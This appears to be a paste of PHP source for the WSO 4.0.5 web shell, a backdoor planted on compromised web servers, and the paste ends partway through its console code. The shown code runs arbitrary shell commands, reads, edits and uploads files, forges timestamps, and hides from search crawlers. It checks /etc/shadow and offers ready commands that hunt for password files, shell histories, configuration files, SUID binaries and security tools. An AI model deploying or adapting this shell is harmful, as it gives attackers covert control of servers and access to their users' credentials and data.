· 9 years ago · Mar 17, 2017, 10:56 AM
1$auth_pass = "21232f297a57a5a743894a0e4a801fc3"; //admin
2$color = "#fff";
3$default_action = 'FilesMan';
4@define('SELF_PATH', __FILE__);
5if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
6 header('HTTP/1.0 404 Not Found');
7 exit;
8}
9@session_start();
10@error_reporting(0);
11@ini_set('error_log',NULL);
12@ini_set('log_errors',0);
13@ini_set('max_execution_time',0);
14@set_time_limit(0);
15@set_magic_quotes_runtime(0);
16@define('VERSION', '4.0.5');
17if( get_magic_quotes_gpc() ) {
18 function stripslashes_array($array) {
19 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
20 }
21 $_POST = stripslashes_array($_POST);
22}
23function printLogin() {
24 if(!empty($_SERVER['HTTP_USER_AGENT'])) {
25 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
26 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
27 header('HTTP/1.0 404 Not Found');
28 exit;
29 }
30 }
31 die("<pre align=center><form method=post style='font-family:fantasy;'>Password: <input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;'><input type=submit value='>>' style='border:none;background-color:teal;color:#fff;'></form></pre>");
32}
33if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
34 if( empty( $auth_pass ) ||
35 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
36 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
37 else
38 printLogin();
39if( strtolower( substr(PHP_OS,0,3) ) == "win" )
40 $os = 'win';
41else
42 $os = 'nix';
43$safe_mode = @ini_get('safe_mode');
44$disable_functions = @ini_get('disable_functions');
45$home_cwd = @getcwd();
46if( isset( $_POST['c'] ) )
47 @chdir($_POST['c']);
48$cwd = @getcwd();
49if( $os == 'win') {
50 $home_cwd = str_replace("\\", "/", $home_cwd);
51 $cwd = str_replace("\\", "/", $cwd);
52}
53if( $cwd[strlen($cwd)-1] != '/' )
54 $cwd .= '/';
55function printHeader() {
56 if(empty($_POST['charset']))
57 $_POST['charset'] = "UTF-8";
58 global $color;
59 ?>
60<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title>
61<style>
62 body {background-color:#000;color:#e1e1e1;}
63 body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
64 table.info {color:#C3C3C3;background-color:#000;}
65 span,h1,a {color:<?=$color?> !important;}
66 span {font-weight:bolder;}
67 h1 {border-left:5px solid teal;padding:2px 5px;font:14pt Verdana;background-color:#222;margin:0px;}
68 div.content {padding:5px;margin-left:5px;background-color:#000;}
69 a {text-decoration:none;}
70 a:hover {text-decoration:underline;}
71 .ml1 {border:1px solid #444;padding:5px;margin:0;overflow:auto;}
72 .bigarea {width:100%;height:250px; }
73 input, textarea, select {margin:0;color:#fff;background-color:#444;border:1px solid #000; font:9pt Courier New;}
74 form {margin:0px;}
75 #toolsTbl {text-align:center;}
76 .toolsInp {width:300px}
77 .main th {text-align:left;background-color:#000;}
78 .main tr:hover{background-color:#5e5e5e}
79 .main td, th{vertical-align:middle}
80 .l1 {background-color:#444}
81 pre {font:9pt Courier New;}
82</style>
83<script>
84 function set(a,c,p1,p2,p3,charset) {
85 if(a != null)document.mf.a.value=a;
86 if(c != null)document.mf.c.value=c;
87 if(p1 != null)document.mf.p1.value=p1;
88 if(p2 != null)document.mf.p2.value=p2;
89 if(p3 != null)document.mf.p3.value=p3;
90 if(charset != null)document.mf.charset.value=charset;
91 }
92 function g(a,c,p1,p2,p3,charset) {
93 set(a,c,p1,p2,p3,charset);
94 document.mf.submit();
95 }
96 function a(a,c,p1,p2,p3,charset) {
97 set(a,c,p1,p2,p3,charset);
98 var params = "ajax=true";
99 for(i=0;i<document.mf.elements.length;i++)
100 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
101 sr('<?=$_SERVER['REQUEST_URI'];?>', params);
102 }
103 function sr(url, params) {
104 if (window.XMLHttpRequest) {
105 req = new XMLHttpRequest();
106 req.onreadystatechange = processReqChange;
107 req.open("POST", url, true);
108 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
109 req.send(params);
110 }
111 else if (window.ActiveXObject) {
112 req = new ActiveXObject("Microsoft.XMLHTTP");
113 if (req) {
114 req.onreadystatechange = processReqChange;
115 req.open("POST", url, true);
116 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
117 req.send(params);
118 }
119 }
120 }
121 function processReqChange() {
122 if( (req.readyState == 4) )
123 if(req.status == 200) {
124 //alert(req.responseText);
125 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
126 var arr=reg.exec(req.responseText);
127 eval(arr[2].substr(0, arr[1]));
128 }
129 else alert("Request error!");
130 }
131</script>
132<head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
133<form method=post name=mf style='display:none;'>
134<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
135<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
136<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
137<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
138<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
139<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
140</form>
141<?php
142 $freeSpace = @diskfreespace($GLOBALS['cwd']);
143 $totalSpace = @disk_total_space($GLOBALS['cwd']);
144 $totalSpace = $totalSpace?$totalSpace:1;
145 $release = @php_uname('r');
146 $kernel = @php_uname('s');
147 $millink='http://www.exploit-db.com/search/?action=search&description=';
148 if( strpos('Linux', $kernel) !== false )
149 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
150 else
151 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
152 if(!function_exists('posix_getegid')) {
153 $user = @get_current_user();
154 $uid = @getmyuid();
155 $gid = @getmygid();
156 $group = "?";
157 } else {
158 $uid = @posix_getpwuid(@posix_geteuid());
159 $gid = @posix_getgrgid(@posix_getegid());
160 $user = $uid['name'];
161 $uid = $uid['uid'];
162 $group = $gid['name'];
163 $gid = $gid['gid'];
164 }
165 $cwd_links = '';
166 $path = explode("/", $GLOBALS['cwd']);
167 $n=count($path);
168 for($i=0;$i<$n-1;$i++) {
169 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
170 for($j=0;$j<=$i;$j++)
171 $cwd_links .= $path[$j].'/';
172 $cwd_links .= "\")'>".$path[$i]."/</a>";
173 }
174 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
175 $opt_charsets = '';
176 foreach($charsets as $item)
177 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
178
179 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Port Scanner'=>'PortScanner','Bruteforce'=>'Bruteforce','Network'=>'Network','Domains'=>'Domains');
180 if(!empty($GLOBALS['auth_pass']))
181 $m['Logout'] = 'Logout';
182 $m['Self remove'] = 'SelfRemove';
183 $menu = '';
184 foreach($m as $k => $v)
185 $menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
186 $drives = "";
187 if ($GLOBALS['os'] == 'win') {
188 foreach( range('a','z') as $drive )
189 if (is_dir($drive.':\\'))
190 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
191 }
192 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
193 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[Exploit-DB]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00A8A8><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
194 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
195 '<table cellpadding=3 cellspacing=0 width=100% style="background-color:teal;"><tr>'.$menu.'</tr></table><div>';
196}
197function printFooter() {
198 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=teal>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
199?>
200</div>
201<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%">
202 <tr>
203 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
204 <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
205 </tr>
206 <tr>
207 <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
208 <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
209 </tr>
210 <tr>
211 <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
212 <td><form method='post' ENCTYPE='multipart/form-data'>
213 <input type=hidden name=a value='FilesMAn'>
214 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
215 <input type=hidden name=p1 value='uploadFile'>
216 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
217 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
218 </tr>
219
220</table>
221</div>
222</body></html>
223<?php
224}
225if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
226if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
227function ex($in) {
228 $out = '';
229 if(function_exists('exec')) {
230 @exec($in,$out);
231 $out = @join("\n",$out);
232 }elseif(function_exists('passthru')) {
233 ob_start();
234 @passthru($in);
235 $out = ob_get_clean();
236 }elseif(function_exists('system')) {
237 ob_start();
238 @system($in);
239 $out = ob_get_clean();
240 }elseif(function_exists('shell_exec')) {
241 $out = shell_exec($in);
242 }elseif(is_resource($f = @popen($in,"r"))) {
243 $out = "";
244 while(!@feof($f))
245 $out .= fread($f,1024);
246 pclose($f);
247 }else return "↳ Unable to execute command\n";
248 return ($out==''?"↳ Query did not return anything\n":$out);
249}
250function viewSize($s) {
251 if($s >= 1073741824)
252 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
253 elseif($s >= 1048576)
254 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
255 elseif($s >= 1024)
256 return sprintf('%1.2f', $s / 1024 ) . ' KB';
257 else
258 return $s . ' B';
259}
260function perms($p) {
261 if (($p & 0xC000) == 0xC000)$i = 's';
262 elseif (($p & 0xA000) == 0xA000)$i = 'l';
263 elseif (($p & 0x8000) == 0x8000)$i = '-';
264 elseif (($p & 0x6000) == 0x6000)$i = 'b';
265 elseif (($p & 0x4000) == 0x4000)$i = 'd';
266 elseif (($p & 0x2000) == 0x2000)$i = 'c';
267 elseif (($p & 0x1000) == 0x1000)$i = 'p';
268 else $i = 'u';
269 $i .= (($p & 0x0100) ? 'r' : '-');
270 $i .= (($p & 0x0080) ? 'w' : '-');
271 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
272 $i .= (($p & 0x0020) ? 'r' : '-');
273 $i .= (($p & 0x0010) ? 'w' : '-');
274 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
275 $i .= (($p & 0x0004) ? 'r' : '-');
276 $i .= (($p & 0x0002) ? 'w' : '-');
277 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
278 return $i;
279}
280function viewPermsColor($f) {
281 if (!@is_readable($f))
282 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
283 elseif (!@is_writable($f))
284 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
285 else
286 return '<font color=#00A8A8><b>'.perms(@fileperms($f)).'</b></font>';
287}
288if(!function_exists("scandir")) {
289 function scandir($dir) {
290 $dh = opendir($dir);
291 while (false !== ($filename = readdir($dh))) {
292 $files[] = $filename;
293 }
294 return $files;
295 }
296}
297function which($p) {
298 $path = ex('which '.$p);
299 if(!empty($path))
300 return $path;
301 return false;
302}
303// Sec. Info go --------------------
304function actionSecInfo() {
305 printHeader();
306 echo '<h1>Server security information</h1><div class=content>';
307 function showSecParam($n, $v) {
308 $v = trim($v);
309 if($v) {
310 echo '<span>'.$n.': </span>';
311 if(strpos($v, "\n") === false)
312 echo $v.'<br>';
313 else
314 echo '<pre class=ml1>'.$v.'</pre>';
315 }
316 }
317
318 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
319 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
320 showSecParam('Open base dir', @ini_get('open_basedir'));
321 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
322 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
323 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
324 $temp=array();
325 if(function_exists('mysql_get_client_info'))
326 $temp[] = "MySql (".mysql_get_client_info().")";
327 if(function_exists('mssql_connect'))
328 $temp[] = "MSSQL";
329 if(function_exists('pg_connect'))
330 $temp[] = "PostgreSQL";
331 if(function_exists('oci_connect'))
332 $temp[] = "Oracle";
333 showSecParam('Supported databases', implode(', ', $temp));
334 echo '<br>';
335
336 if( $GLOBALS['os'] == 'nix' ) {
337 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
338 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
339 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
340 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
341 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
342 showSecParam('OS version', @file_get_contents('/proc/version'));
343 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
344 if(!$GLOBALS['safe_mode']) {
345 echo '<br>';
346 $temp=array();
347 foreach ($userful as $item)
348 if(which($item)){$temp[]=$item;}
349 showSecParam('Userful', implode(', ',$temp));
350 $temp=array();
351 foreach ($danger as $item)
352 if(which($item)){$temp[]=$item;}
353 showSecParam('Danger', implode(', ',$temp));
354 $temp=array();
355 foreach ($downloaders as $item)
356 if(which($item)){$temp[]=$item;}
357 showSecParam('Downloaders', implode(', ',$temp));
358 echo '<br/>';
359 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
360 showSecParam('HDD space', ex('df -h'));
361 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
362 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
363 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
364 $temp = "";
365 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
366 $uid = @posix_getpwuid($_POST['p2']);
367 if ($uid)
368 $temp .= join(':',$uid)."\n";
369 }
370 echo '<br/>';
371 showSecParam('Users', $temp);
372 }
373 }
374 } else {
375 showSecParam('OS Version',ex('ver'));
376 showSecParam('Account Settings',ex('net accounts'));
377 showSecParam('User Accounts',ex('net user'));
378 }
379 echo '</div>';
380 printFooter();
381}
382// Sec. Info end --------------------
383// File tools go -----------------------
384function actionFilesTools() {
385 if( isset($_POST['p1']) )
386 $_POST['p1'] = urldecode($_POST['p1']);
387 if(@$_POST['p2']=='download') {
388 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
389 ob_start("ob_gzhandler", 4096);
390 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
391 if (function_exists("mime_content_type")) {
392 $type = @mime_content_type($_POST['p1']);
393 header("Content-Type: ".$type);
394 }
395 $fp = @fopen($_POST['p1'], "r");
396 if($fp) {
397 while(!@feof($fp))
398 echo @fread($fp, 1024);
399 fclose($fp);
400 }
401 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
402 }
403 exit;
404 }
405 if( @$_POST['p2'] == 'mkfile' ) {
406 if(!file_exists($_POST['p1'])) {
407 $fp = @fopen($_POST['p1'], 'w');
408 if($fp) {
409 $_POST['p2'] = "edit";
410 fclose($fp);
411 }
412 }
413 }
414 printHeader();
415 echo '<h1>File tools</h1><div class=content>';
416 if( !file_exists(@$_POST['p1']) ) {
417 echo 'File not exists';
418 printFooter();
419 return;
420 }
421 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
422 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
423 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
424 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
425 if( empty($_POST['p2']) )
426 $_POST['p2'] = 'view';
427 if( is_file($_POST['p1']) )
428 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
429 else
430 $m = array('Chmod', 'Rename', 'Touch');
431 foreach($m as $v)
432 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
433 echo '<br><br>';
434 switch($_POST['p2']) {
435 case 'view':
436 echo '<pre class=ml1>';
437 $fp = @fopen($_POST['p1'], 'r');
438 if($fp) {
439 while( !@feof($fp) )
440 echo htmlspecialchars(@fread($fp, 1024));
441 @fclose($fp);
442 }
443 echo '</pre>';
444 break;
445 case 'highlight':
446 if( is_readable($_POST['p1']) ) {
447 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
448 $code = highlight_file($_POST['p1'],true);
449 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
450 }
451 break;
452 case 'chmod':
453 if( !empty($_POST['p3']) ) {
454 $perms = 0;
455 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
456 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
457 if(!@chmod($_POST['p1'], $perms))
458 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
459 else
460 die('<script>g(null,null,null,null,"")</script>');
461 }
462 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
463 break;
464 case 'edit':
465 if( !is_writable($_POST['p1'])) {
466 echo 'File isn\'t writeable';
467 break;
468 }
469 if( !empty($_POST['p3']) ) {
470 @file_put_contents($_POST['p1'],$_POST['p3']);
471 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
472 }
473 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
474 $fp = @fopen($_POST['p1'], 'r');
475 if($fp) {
476 while( !@feof($fp) )
477 echo htmlspecialchars(@fread($fp, 1024));
478 @fclose($fp);
479 }
480 echo '</textarea><input type=submit value=">>"></form>';
481 break;
482 case 'hexdump':
483 $c = @file_get_contents($_POST['p1']);
484 $n = 0;
485 $h = array('00000000<br>','','');
486 $len = strlen($c);
487 for ($i=0; $i<$len; ++$i) {
488 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
489 switch ( ord($c[$i]) ) {
490 case 0: $h[2] .= ' '; break;
491 case 9: $h[2] .= ' '; break;
492 case 10: $h[2] .= ' '; break;
493 case 13: $h[2] .= ' '; break;
494 default: $h[2] .= $c[$i]; break;
495 }
496 $n++;
497 if ($n == 32) {
498 $n = 0;
499 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
500 $h[1] .= '<br>';
501 $h[2] .= "\n";
502 }
503 }
504 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
505 break;
506 case 'rename':
507 if( !empty($_POST['p3']) ) {
508 if(!@rename($_POST['p1'], $_POST['p3']))
509 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
510 else
511 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
512 }
513 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
514 break;
515 case 'touch':
516 if( !empty($_POST['p3']) ) {
517 $time = strtotime($_POST['p3']);
518 if($time) {
519 if(@touch($_POST['p1'],$time,$time))
520 die('<script>g(null,null,null,null,"")</script>');
521 else {
522 echo 'Fail!<script>document.mf.p3.value="";</script>';
523 }
524 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
525 }
526 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
527 break;
528 case 'mkfile':
529
530 break;
531 }
532 echo '</div>';
533 printFooter();
534}
535// File tools end ----------------------
536// Console go --------------------
537if($os == 'win')
538 $aliases = array(
539 "List Directory" => "dir",
540 "Find index.php in current dir" => "dir /s /w /b index.php",
541 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
542 "Show active connections" => "netstat -an",
543 "Show running services" => "net start",
544 "User accounts" => "net user",
545 "Show computers" => "net view",
546 "ARP Table" => "arp -a",
547 "IP Configuration" => "ipconfig /all"
548 );
549else
550 $aliases = array(
551 "List dir" => "ls -la",
552 "list file attributes on a Linux second extended file system" => "lsattr -va",
553 "show opened ports" => "netstat -an | grep -i listen",
554 "process status" => "ps aux",
555 "Find" => "",
556 "find all suid files" => "find / -type f -perm -04000 -ls",
557 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
558 "find all sgid files" => "find / -type f -perm -02000 -ls",
559 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
560 "find config.inc.php files" => "find / -type f -name config.inc.php",
561 "find config* files" => "find / -type f -name \"config*\"",
562 "find config* files in current dir" => "find . -type f -name \"config*\"",
563 "find all writable folders and files" => "find / -perm -2 -ls",
564 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
565 "find all service.pwd files" => "find / -type f -name service.pwd",
566 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
567 "find all .htpasswd files" => "find / -type f -name .htpasswd",
568 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
569 "find all .bash_history files" => "find / -type f -name .bash_history",
570 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
571 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
572 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
573 "Locate" => "",
574 "locate httpd.conf files" => "locate httpd.conf",
575 "locate vhosts.conf files" => "locate vhosts.conf",
576 "locate proftpd.conf files" => "locate proftpd.conf",
577 "locate psybnc.conf files" => "locate psybnc.conf",
578 "locate my.conf files" => "locate my.conf",
579 "locate admin.php files" =>"locate admin.php",
580 "locate cfg.php files" => "locate cfg.php",
581 "locate conf.php files" => "locate conf.php",
582 "locate config.dat files" => "locate config.dat",
583 "locate config.php files" => "locate config.php",
584 "locate config.inc files" => "locate config.inc",
585 "locate config.inc.php" => "locate config.inc.php",
586 "locate config.default.php files" => "locate config.default.php",
587 "locate config* files " => "locate config",
588 "locate .conf files"=>"locate '.conf'",
589 "locate .pwd files" => "locate '.pwd'",
590 "locate .sql files" => "locate '.sql'",
591 "locate .htpasswd files" => "locate '.htpasswd'",
592 "locate .bash_history files" => "locate '.bash_history'",
593 "locate .mysql_history files" => "locate '.mysql_history'",
594 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
595 "locate backup files" => "locate backup",
596 "locate dump files" => "locate dump",
597 "locate priv files" => "locate priv"
598 );
599
600function actionConsole() {
601 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
602 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
603 $_POST['p1'] .= ' 2>&1';
604 } elseif(!empty($_POST['p1']))
605 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = 0;
606
607 if(isset($_POST['ajax'])) {
608 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
609 ob_start();
610 echo "document.cf.cmd.value='';\n";
611 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0"));
612 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
613 if(@chdir($match[1])) {
614 $GLOBALS['cwd'] = @getcwd();
615 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
616 }
617 }
618 echo "document.cf.output.value+='".$temp."';";
619 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
620 $temp = ob_get_clean();
621 echo strlen($temp), "\n", $temp;
622 exit;
623 }
624 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
625 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = 0;
626 printHeader();
627echo "<script>
628if(window.Event) window.captureEvents(Event.KEYDOWN);
629var cmds = new Array('');
630var cur = 0;
631function kp(e) {
632 var n = (window.Event) ? e.which : e.keyCode;
633 if(n == 38) {
634 cur--;
635 if(cur>=0)
636 document.cf.cmd.value = cmds[cur];
637 else
638 cur++;
639 } else if(n == 40) {
640 cur++;
641 if(cur < cmds.length)
642 document.cf.cmd.value = cmds[cur];
643 else
644 cur--;
645 }
646}
647function add(cmd) {
648 cmds.pop();
649 cmds.push(cmd);
650 cmds.push('');
651 cur = cmds.length-1;
652}
653</script>";
654 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
655 foreach($GLOBALS['aliases'] as $n => $v) {
656 if($v == '') {
657 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
658 continue;
659 }
660 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
661 }
662
